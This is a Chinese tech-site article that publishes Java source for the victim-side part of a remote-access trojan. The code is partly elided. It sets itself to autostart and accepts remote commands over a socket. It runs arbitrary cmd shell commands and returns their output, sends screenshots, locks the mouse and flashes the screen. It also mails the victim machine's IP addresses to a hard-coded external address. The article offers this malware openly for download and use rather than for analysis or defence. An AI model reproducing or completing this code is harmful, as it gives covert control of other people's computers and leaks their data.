手机版
你好,游客 登录 注册
背景:
阅读新闻

用Java编写木马程序【附源代码下载】

[日期:2012-02-19] 来源:Linux社区  作者:leasystu [字体:大 中 小]

被控制端部分代码

Test.Java

[java]
  1. public class Test {  
  2.     ServerSocket serverSocket;  
  3.     Socket socket;......  
  4.     public Test() {  
  5.         /* 
  6.           在注册表中设置开机自动运行 register(); 
  7.           以及发送邮件,主要是把自己的IP发出来,并进行一些初始化...... 
  8.          */  
  9.         go();  
  10.         }  
  11.     }  
  12.     /* 在注册表中设置开机自动运行 */  
  13.     void go() {  
  14.         while (true) {  
  15.             /* 
  16.                 * 这里不断的接受发送过来的命令然后根据命令执行相应的操作 
  17.                 * 如:(标有√,的是本程序已经实现的功能) 
  18.                 * 1、我们可以通过开启一个线程通过robot锁定鼠标(√) 
  19.                 * 2、执行dos命令(√) 
  20.                 * 3、传输被控制端的文件 
  21.                 * 4、查看被控制端的桌面(√) 
  22.                 * 5、在被控制端弹出对话框(√) 
  23.                 * 6、让被控制端闪屏(√) 
  24.                 * 7、等等等等 
  25.                 * 具体的实现都在这里进行,当然这个需要和控制者那段的代码相配合 
  26.                 * 同时自己设计好具体的命令 
  27.                 * */  
  28.             try {  
  29.                 commendString = dis.readUTF().trim();  
  30.             } catch (IOException e) {  
  31.                 System.out.println("leave");  
  32.                 break;  
  33.             }  
  34.             然后对commendString进行分析,执行相应的命令就是上面所描述的1,2,3...等等等命令  
  35.         }  
  36.     }  
  37.     /*在注册表注册开机自动启动*/  
  38.     public void register() {  
  39.         ......  
  40.     }  
  41.     /*启动线程锁定鼠标*/  
  42.     void mouseLock(String s) {  
  43.         ......  
  44.     }  
  45.     /*执行dos命令*/  
  46.     void dosExe(String dosString) {  
  47.         String command = "cmd /c " + dosString;  
  48.         String s = null;  
  49.         try {  
  50.             process = r.exec(command);  
  51.             bufferedReader = new BufferedReader(new InputStreamReader(process  
  52.                     .getInputStream()));  
  53.             dos.writeUTF("1start");  
  54.             while ((s = bufferedReader.readLine()) != null) {  
  55.                 s = s.trim();  
  56.                 dos.writeUTF(s);  
  57.             }  
  58.             dos.writeUTF("1end");  
  59.         } catch (IOException e) {  
  60.             e.printStackTrace();  
  61.         }  
  62.     }  
  63.     /*发送图片*/  
  64.     void sendPic() {......  
  65.     }  
  66.   
  67.     public static void main(String[] args) {  
  68.         new Test();  
  69.     }  
  70.     /*获取本地IP*/  
  71.     String getIP() {  
  72.         String ipString = "";  
  73.         Enumeration<NetworkInterface> netInterfaces = null;  
  74.         try {  
  75.             netInterfaces = NetworkInterface.getNetworkInterfaces();  
  76.             while (netInterfaces.hasMoreElements()) {  
  77.                 NetworkInterface ni = netInterfaces.nextElement();  
  78.                 ipString = ipString + ni.getDisplayName() + "\n";  
  79.                 ipString = ipString + ni.getName() + "\n";  
  80.                 Enumeration<InetAddress> ips = ni.getInetAddresses();  
  81.                 while (ips.hasMoreElements()) {  
  82.                     ipString = ipString + ips.nextElement().getHostAddress()  
  83.                             + "\n";  
  84.                 }  
  85.             }  
  86.         } catch (Exception e) {  
  87.             e.printStackTrace();  
  88.         }  
  89.         return ipString;  
  90.     }  
  91.     /*显示消息对话框*/  
  92.     class ShowDialogThread extends Thread {......  
  93.     }  
  94.   
  95.     class MouseLockThread extends Thread {......  
  96.     }  
  97.   
  98.     // 这里可以启动其它的应用程序   
  99.     class OtherApp extends Thread {  
  100.     }  
  101.     /*下面两个类用于文件复制*/  
  102.     class JarUtil {......  
  103.     }  
  104.     class MyCopy {  
  105.         public int fileCopy(String sFile, String oFile) {......  
  106.         }  
  107.     }  
  108.     /* 
  109.      * 发送邮件部分 需要一两个邮箱,一个是发送方邮箱,一个是接受邮箱 
  110.      */  
  111.     class SMail {  
  112.         boolean sended = false;  
  113.         Properties props;  
  114.         Session session;  
  115.         Message msg;  
  116.         Transport transport;  
  117.   
  118.         public void send(String s) {  
  119.             try {  
  120.                 // System.out.println(s);   
  121.                 props = new Properties();  
  122.                 props.setProperty("mail.smtp.auth", "true");  
  123.                 props.setProperty("mail.transport.protocol", "smtp");  
  124.                 session = Session.getDefaultInstance(props);  
  125.                 // session.setDebug(true);   
  126.                 msg = new MimeMessage(session);  
  127.                 msg.setSubject("ip");  
  128.                 msg.setText(s);  
  129.                 /*xxxxxxxxxxxxxxxx为发送方邮箱用户名*/  
  130.                 msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));  
  131.                 transport = session.getTransport();  
  132.                 /*xxxxxxxxxxxxxxxx为发送方邮箱用户名、 
  133.                  *yyyyyyyyy为发送方邮箱密码*/  
  134.                 transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");  
  135.                 transport.sendMessage(msg, new Address[] { new InternetAddress(  
  136.                         "496977458@qq.com") });  
  137.                 transport.close();  
  138.                 sended = true;  
  139.             } catch (Exception e) {  
  140.             }  
  141.   
  142.         }  
  143.   
  144.         public SMail() {  
  145.             sended = false;  
  146.         }  
  147.     }  
  148.     /*密码输入框*/  
  149.     class MyDialogPassInput extends JDialog {......  
  150.     }  
  151.     /*闪屏*/  
  152.     class Flash {......  
  153.     }  
  154.     /*输入对话框*/  
  155.     class MyDialogMsgInput extends JDialog {  
  156.         JTextField text;  
  157.         JButton sureButton;  
  158.         String string;  
  159.   
  160.         public MyDialogMsgInput(String s) {......  
  161.         }  
  162.     }  
linux
相关资讯       木马  Java教程  Java源码下载  Java源码 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款